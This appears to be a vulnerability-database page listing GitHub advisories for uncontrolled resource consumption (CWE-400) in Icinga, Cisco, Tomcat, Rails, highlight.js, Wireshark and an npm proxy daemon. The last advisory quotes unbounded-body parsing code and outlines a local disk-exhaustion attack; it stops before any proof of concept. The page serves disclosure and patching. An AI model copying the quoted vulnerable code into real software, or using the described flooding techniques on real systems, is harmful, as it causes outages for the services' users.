Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5629 vulnerabilities reference this CWE, most recent first.

GHSA-7VVJ-647Q-JGX2

Vulnerability from github – Published: 2022-05-14 03:35 – Updated: 2022-05-14 03:35
VLAI
Details

An issue was discovered in Icinga 2.x through 2.8.1. By sending specially crafted (authenticated and unauthenticated) requests, an attacker can exhaust a lot of memory on the server side, triggering the OOM killer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-27T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Icinga 2.x through 2.8.1. By sending specially crafted (authenticated and unauthenticated) requests, an attacker can exhaust a lot of memory on the server side, triggering the OOM killer.",
  "id": "GHSA-7vvj-647q-jgx2",
  "modified": "2022-05-14T03:35:52Z",
  "published": "2022-05-14T03:35:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Icinga/icinga2/pull/6103"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VX9-5H56-F698

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in the web proxy functionality of Cisco AsyncOS Software for Cisco Web Security Appliances could allow an unauthenticated, remote attacker to exhaust system memory and cause a denial of service (DoS) condition on an affected system. The vulnerability exists because the affected software improperly manages memory resources for TCP connections to a targeted device. An attacker could exploit this vulnerability by establishing a high number of TCP connections to the data interface of an affected device via IPv4 or IPv6. A successful exploit could allow the attacker to exhaust system memory, which could cause the system to stop processing new connections and result in a DoS condition. System recovery may require manual intervention. Cisco Bug IDs: CSCvf36610.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-15T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the web proxy functionality of Cisco AsyncOS Software for Cisco Web Security Appliances could allow an unauthenticated, remote attacker to exhaust system memory and cause a denial of service (DoS) condition on an affected system. The vulnerability exists because the affected software improperly manages memory resources for TCP connections to a targeted device. An attacker could exploit this vulnerability by establishing a high number of TCP connections to the data interface of an affected device via IPv4 or IPv6. A successful exploit could allow the attacker to exhaust system memory, which could cause the system to stop processing new connections and result in a DoS condition. System recovery may require manual intervention. Cisco Bug IDs: CSCvf36610.",
  "id": "GHSA-7vx9-5h56-f698",
  "modified": "2022-05-13T01:35:13Z",
  "published": "2022-05-13T01:35:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0410"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180815-wsa-dos"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105098"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041535"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7VXC-Q7RV-QFJ8

Vulnerability from github – Published: 2023-08-11 15:30 – Updated: 2024-10-03 17:26
VLAI
Summary
SUCHMOKUO node-worker-threads-pool denial of service Vulnerability
Details

An issue was discovered in StaticPool in SUCHMOKUO node-worker-threads-pool version 1.4.3 that allows attackers to cause a denial of service.

This can be mitigated by manually creating a timeout. For example:

const { StaticPool } = require(\"node-worker-threads-pool\");

    const staticPool = new StaticPool({
 size: 1,
 task: (n) => {
 while (n) {
 console.log(\"a\");
 }
 return n;
 }
});

 staticPool.createExecutor().setTimeout(10).exec(1).then((result) => {
 console.log(\"result from thread pool:\", result);
}).catch(() => console.error('timeout'));
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-worker-threads-pool"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-11T22:16:44Z",
    "nvd_published_at": "2023-08-11T14:15:12Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in StaticPool in SUCHMOKUO node-worker-threads-pool version 1.4.3 that allows attackers to cause a denial of service.\n\nThis can be mitigated by manually creating a timeout. For example:\n\n```ts\nconst { StaticPool } = require(\\\"node-worker-threads-pool\\\");\n\t\n\tconst staticPool = new StaticPool({\n size: 1,\n task: (n) =\u003e {\n while (n) {\n console.log(\\\"a\\\");\n }\n return n;\n }\n});\n \n staticPool.createExecutor().setTimeout(10).exec(1).then((result) =\u003e {\n console.log(\\\"result from thread pool:\\\", result);\n}).catch(() =\u003e console.error(\u0027timeout\u0027));\n```",
  "id": "GHSA-7vxc-q7rv-qfj8",
  "modified": "2024-10-03T17:26:26Z",
  "published": "2023-08-11T15:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SUCHMOKUO/node-worker-threads-pool/issues/20"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SUCHMOKUO/node-worker-threads-pool"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SUCHMOKUO node-worker-threads-pool denial of service Vulnerability"
}

GHSA-7W6H-978P-XVRG

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39
VLAI
Details

A regular expression denial of service issue has been discovered in NuGet API affecting all versions of GitLab starting from version 12.8.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-15T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A regular expression denial of service issue has been discovered in NuGet API affecting all versions of GitLab starting from version 12.8.",
  "id": "GHSA-7w6h-978p-xvrg",
  "modified": "2022-05-24T17:39:23Z",
  "published": "2022-05-24T17:39:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22168"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22168.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/289950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7WJ2-48C4-2684

Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2023-09-18 22:40
VLAI
Summary
Apache Tomcat Denial of Service vulnerability in the Catalina package
Details

The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.6 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2003-0866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-18T22:40:43Z",
    "nvd_published_at": "2003-11-17T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.6 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.",
  "id": "GHSA-7wj2-48c4-2684",
  "modified": "2023-09-18T22:40:43Z",
  "published": "2022-04-29T01:27:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2003-0866"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/13429"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/29dc6c2b625789e70a9c4756b5a327e6547273ff8bde7e0327af48c5@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/c62b0e3a7bf23342352a5810c640a94b6db69957c5c19db507004d74@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb71997f506c6cc8b530dd845c084995a9878098846c7b4eacfae8db3@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=215506"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30899"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30908"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-239312-1"
    },
    {
      "type": "WEB",
      "url": "http://tomcat.apache.org/security-4.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2003/dsa-395"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/8824"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1979/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Apache Tomcat Denial of Service vulnerability in the Catalina package"
}

GHSA-7WJX-3G7J-8584

Vulnerability from github – Published: 2021-05-05 19:49 – Updated: 2023-08-08 16:06
VLAI
Summary
Possible DoS Vulnerability in Action Controller Token Authentication
Details

There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.

Versions Affected: >= 4.0.0 Not affected: < 4.0.0 Fixed Versions: 6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6

Impact

Impacted code uses authenticate_or_request_with_http_token or authenticate_with_http_token for request authentication. Impacted code will look something like this:

class PostsController < ApplicationController
  before_action :authenticate

  private

  def authenticate
    authenticate_or_request_with_http_token do |token, options|
      # ...
    end
  end
end

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

The following monkey patch placed in an initializer can be used to work around the issue:

module ActionController::HttpAuthentication::Token
  AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
end

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

  • 5-2-http-authentication-dos.patch - Patch for 5.2 series
  • 6-0-http-authentication-dos.patch - Patch for 6.0 series
  • 6-1-http-authentication-dos.patch - Patch for 6.1 series

Please note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Credits

Thank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.3.6"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.3.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.5"
            },
            {
              "fixed": "5.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.4.5"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "actionpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.2.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-22904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T19:48:31Z",
    "nvd_published_at": "2021-06-11T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible DoS vulnerability in the Token Authentication logic in Action Controller.\n\nVersions Affected:  \u003e= 4.0.0\nNot affected:       \u003c 4.0.0\nFixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6\n\nImpact\n------\nImpacted code uses `authenticate_or_request_with_http_token` or `authenticate_with_http_token` for request authentication.  Impacted code will look something like this:\n\n```\nclass PostsController \u003c ApplicationController\n  before_action :authenticate\n\n  private\n\n  def authenticate\n    authenticate_or_request_with_http_token do |token, options|\n      # ...\n    end\n  end\nend\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue:\n\n```ruby\nmodule ActionController::HttpAuthentication::Token\n  AUTHN_PAIR_DELIMITERS = /(?:,|;|\\t)/\nend\n```\n\nPatches\n-------\nTo aid users who aren\u0027t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-http-authentication-dos.patch - Patch for 5.2 series\n* 6-0-http-authentication-dos.patch - Patch for 6.0 series\n* 6-1-http-authentication-dos.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\nThank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!",
  "id": "GHSA-7wjx-3g7j-8584",
  "modified": "2023-08-08T16:06:25Z",
  "published": "2021-05-05T19:49:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22904"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1101125"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2021-22904-possible-dos-vulnerability-in-action-controller-token-authentication/77869"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v5.2.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v5.2.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v6.0.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v6.1.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/CVE-2021-22904.yml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/rubyonrails-security/c/Pf1TjkOBdyQ"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210805-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible DoS Vulnerability in Action Controller Token Authentication"
}

GHSA-7WWV-VH3V-89CQ

Vulnerability from github – Published: 2020-12-04 16:47 – Updated: 2022-05-03 08:27
VLAI
Summary
ReDOS vulnerabities: multiple grammars
Details

Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)

oswasp:

The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.

If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).

This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common') as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js

All versions prior to 10.4.1 are vulnerable, including version 9.18.5.

Grammars with exponential backtracking issues:

  • c-like (c, cpp, arduino)
  • handlebars (htmlbars)
  • gams
  • perl
  • jboss-cli
  • r
  • erlang-repl
  • powershell
  • routeros
  • livescript (10.4.0 and 9.18.5 included this fix)
  • javascript & typescript (10.4.0 included partial fixes)

And of course any aliases of those languages have the same issue. ie: hpp is no safer than cpp.

Grammars with polynomial backtracking issues:

  • kotlin
  • gcode
  • d
  • aspectj
  • moonscript
  • coffeescript/livescript
  • csharp
  • scilab
  • crystal
  • elixir
  • basic
  • ebnf
  • ruby
  • fortran/irpf90
  • livecodeserver
  • yaml
  • x86asm
  • dsconfig
  • markdown
  • ruleslanguage
  • xquery
  • sqf

And again: any aliases of those languages have the same issue. ie: ruby and rb share the same ruby issues.

Patches

  • Version 10.4.1 resolves these vulnerabilities. Please upgrade.

Workarounds / Mitigations

  • Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)
  • Attempt cherry-picking the grammar fixes into older versions...
  • Attempt using newer CDN versions of any affected languages. (ie using an older CDN version of the library with newer CDN grammars). Your mileage may vary.

References

  • https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory: * Open an issue: https://github.com/highlightjs/highlight.js/issues * Email us at security@highlightjs.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "highlight.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "10.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@highlightjs/cdn-assets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-04T16:46:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)\n\n[oswasp](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS): \n\n\u003e The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\n\nIf are you are using Highlight.js to highlight user-provided data you are possibly vulnerable.  On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).\n\nThis is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable.  If you are using `highlightAuto` to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library `require(\u0027highlight.js/lib/common\u0027)` as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js\n\nAll versions prior to 10.4.1 are vulnerable, including version 9.18.5. \n\n**Grammars with exponential backtracking issues:**\n\n  - c-like (c, cpp, arduino)\n  - handlebars (htmlbars)\n  - gams\n  - perl\n  - jboss-cli\n  - r\n  - erlang-repl\n  - powershell\n  - routeros\n  - livescript (10.4.0 and 9.18.5 included this fix)\n  - javascript \u0026 typescript (10.4.0 included partial fixes)\n\nAnd of course any aliases of those languages have the same issue. ie: `hpp` is no safer than `cpp`.\n\n**Grammars with polynomial backtracking issues:**\n\n- kotlin\n- gcode\n- d\n- aspectj\n- moonscript\n- coffeescript/livescript\n- csharp\n- scilab\n- crystal\n- elixir\n- basic\n- ebnf\n- ruby\n- fortran/irpf90\n- livecodeserver\n- yaml\n- x86asm\n- dsconfig\n- markdown\n- ruleslanguage\n- xquery\n- sqf\n\nAnd again: any aliases of those languages have the same issue. ie: `ruby` and `rb` share the same ruby issues.\n\n\n### Patches\n\n- Version 10.4.1 resolves these vulnerabilities.  Please upgrade.\n\n### Workarounds / Mitigations\n\n- Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)\n- Attempt cherry-picking the grammar fixes into older versions...\n- Attempt using newer CDN versions of any affected languages.  (ie using an older CDN version of the library with newer CDN grammars).  Your mileage may vary.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue: https://github.com/highlightjs/highlight.js/issues\n* Email us at [security@highlightjs.com](mailto:security@highlightjs.com)",
  "id": "GHSA-7wwv-vh3v-89cq",
  "modified": "2022-05-03T08:27:45Z",
  "published": "2020-12-04T16:47:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/highlightjs/highlight.js/security/advisories/GHSA-7wwv-vh3v-89cq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@highlightjs/cdn-assets"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/highlight.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "ReDOS vulnerabities: multiple grammars"
}

GHSA-7X56-PWR8-339Q

Vulnerability from github – Published: 2022-05-17 00:33 – Updated: 2025-04-20 03:46
VLAI
Details

In Wireshark 2.4.0 to 2.4.1 and 2.2.0 to 2.2.9, the MBIM dissector could crash or exhaust system memory. This was addressed in epan/dissectors/packet-mbim.c by changing the memory-allocation approach.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-15193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-10T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Wireshark 2.4.0 to 2.4.1 and 2.2.0 to 2.2.9, the MBIM dissector could crash or exhaust system memory. This was addressed in epan/dissectors/packet-mbim.c by changing the memory-allocation approach.",
  "id": "GHSA-7x56-pwr8-339q",
  "modified": "2025-04-20T03:46:32Z",
  "published": "2022-05-17T00:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15193"
    },
    {
      "type": "WEB",
      "url": "https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=14056"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/23537"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/gitweb?p=wireshark.git%3Ba=commit%3Bh=afb9ff7982971aba6e42472de0db4c1bedfc641b"
    },
    {
      "type": "WEB",
      "url": "https://code.wireshark.org/review/gitweb?p=wireshark.git;a=commit;h=afb9ff7982971aba6e42472de0db4c1bedfc641b"
    },
    {
      "type": "WEB",
      "url": "https://www.wireshark.org/security/wnpa-sec-2017-43.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101240"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XC2-HQ29-896Q

Vulnerability from github – Published: 2025-09-10 18:30 – Updated: 2025-09-10 18:30
VLAI
Details

A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device. 

This vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-20340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T16:15:36Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Address Resolution Protocol (ARP) implementation of Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to trigger a broadcast storm, leading to a denial of service (DoS) condition on an affected device.\u0026nbsp;\n\nThis vulnerability is due to how Cisco IOS XR Software processes a high, sustained rate of ARP traffic hitting the management interface. Under certain conditions, an attacker could exploit this vulnerability by sending an excessive amount of traffic to the management interface of an affected device, overwhelming its ARP processing capabilities. A successful exploit could result in degraded device performance, loss of management connectivity, and complete unresponsiveness of the system, leading to a DoS condition.",
  "id": "GHSA-7xc2-hq29-896q",
  "modified": "2025-09-10T18:30:15Z",
  "published": "2025-09-10T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20340"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-arp-storm-EjUU55yM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XP7-M392-H92C

Vulnerability from github – Published: 2026-05-05 21:15 – Updated: 2026-05-05 21:15
VLAI
Summary
@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS
Details

Summary

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body — verbatim and uncapped — as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry — unbounded body parser (src/proxy/server/http.js:9-21):

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route — no schema or size validation (src/proxy/server/routes.js:75-85):

'POST /asset/submit': async ({ body }) => {
  if (!body.assets && !body.asset_id) {
    throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });
  }
  const result = store.send({
    type: 'asset_submit',
    payload: body,
    priority: body.priority || 'normal',
  });
  return { body: result };
}

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink — unbounded JSONL append (src/proxy/mailbox/store.js):

// line 71-73
function appendLine(filePath, obj) {
  fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');
}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage
// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

// line 75-86
function readLines(filePath) {
  if (!fs.existsSync(filePath)) return [];
  const content = fs.readFileSync(filePath, 'utf8');  // synchronous, full-file
  ...
}
// line 143-164: _rebuildIndex() called from constructor reads every line

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

